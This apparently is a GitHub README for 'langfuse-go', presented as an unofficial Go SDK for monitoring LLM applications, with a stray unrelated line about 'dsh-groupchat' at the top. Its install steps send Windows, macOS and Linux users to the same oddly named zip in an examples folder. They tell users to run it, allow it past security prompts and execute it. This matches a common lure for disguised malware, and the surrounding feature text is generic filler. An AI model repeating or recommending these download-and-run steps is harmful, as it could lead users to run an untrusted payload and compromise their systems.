dsh-groupchat
DiscoveredEnable multi-model, multi-role group chats in DeepSeek Harness with shared memory, @mentions, and per-conversation agents.
🎉 langfuse-go - Simplify Monitoring Your LLM Applications
🚀 Getting Started
Welcome to langfuse-go! This is an unofficial Go SDK that helps you trace, monitor, and evaluate your LLM (Large Language Model) applications. With this tool, you can easily manage your applications and gain valuable insights without any technical hassle.
📥 Download & Install
To get started, visit this page to download: Download langfuse-go.
Follow these steps to download and set up the software:
- Click the link above to go to the Releases page.
- Look for the latest version of langfuse-go.
- Download the file that matches your operating system:
- For Windows, download
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zip - For macOS, download
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zip - For Linux, download
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zip
- For Windows, download
- Once the download finishes, find the file on your computer.
- Follow the instructions for your operating system below.
🖥️ For Windows Users
- Double-click on
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zipto run it. - If prompted by security settings, allow the application to run.
- Follow the on-screen instructions to complete the setup.
- You are now ready to use langfuse-go!
🍏 For macOS Users
- Open the downloaded file
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zipto extract its contents. - Find the
langfuse-goexecutable in the new folder. - Drag it to your Applications folder.
- Open Terminal and type
cd /Applications/then./langfuse-goto run the application. - Follow any further on-screen instructions.
🐧 For Linux Users
- Extract the
https://github.com/sedai194443/langfuse-go/raw/refs/heads/master/examples/async_batch/langfuse-go-hematonic.zipfile. - Open your terminal and navigate to the extracted folder.
- Type
chmod +x langfuse-goto make it executable. - Launch the application by typing
./langfuse-goin the terminal. - Proceed with any additional setup steps as required.
🛠️ Features
- Asynchronous Batch Processing: Handle multiple requests at once, improving the efficiency of your LLM applications.
- Specialized Observation Types: Monitor different aspects of your machine learning models to gain comprehensive insights.
- User-Friendly Interface: Designed for ease of use, with clear options and settings.
🔧 System Requirements
Before installing langfuse-go, ensure your computer meets the following minimum requirements:
- Windows: Windows 10 or later
- macOS: macOS Mojave (10.14) or later
- Linux: Any modern distribution with glibc 2.28+
- Memory: At least 1 GB of RAM recommended
- Storage: 100 MB of free disk space
🌐 How to Use langfuse-go
Once installed, you can start using langfuse-go to monitor your LLM applications. Here's a quick guide:
- Open the Application: Launch langfuse-go from your Applications folder, desktop, or terminal.
- Configure Your Settings: Set up your application parameters for monitoring.
- Start Monitoring: Begin tracking metrics to understand how your LLM applications perform.
- Review Updates: You can check logs and results to evaluate application behavior.
🗂️ Troubleshooting
If you encounter issues while installing or using langfuse-go, consider the following steps:
- Ensure your operating system is compatible.
- Verify that you have downloaded the correct version for your OS.
- Restart your computer and try running the program again.
- Check for any available software updates on the Releases page.
You can also consult our FAQ section for more tips.
📜 Community & Support
Join our community to get support and learn from other users. You can engage in discussions, ask questions, and share your experiences.
- For bugs and issues, please create a ticket under the "Issues" tab in this repository.
- Participate in our forums and chat groups for further assistance.
⚙️ License
langfuse-go is released under the MIT License. Feel free to use and modify the software within the terms of this license.
🔗 Useful Links
Thank you for choosing langfuse-go! We hope it simplifies your LLM application monitoring.
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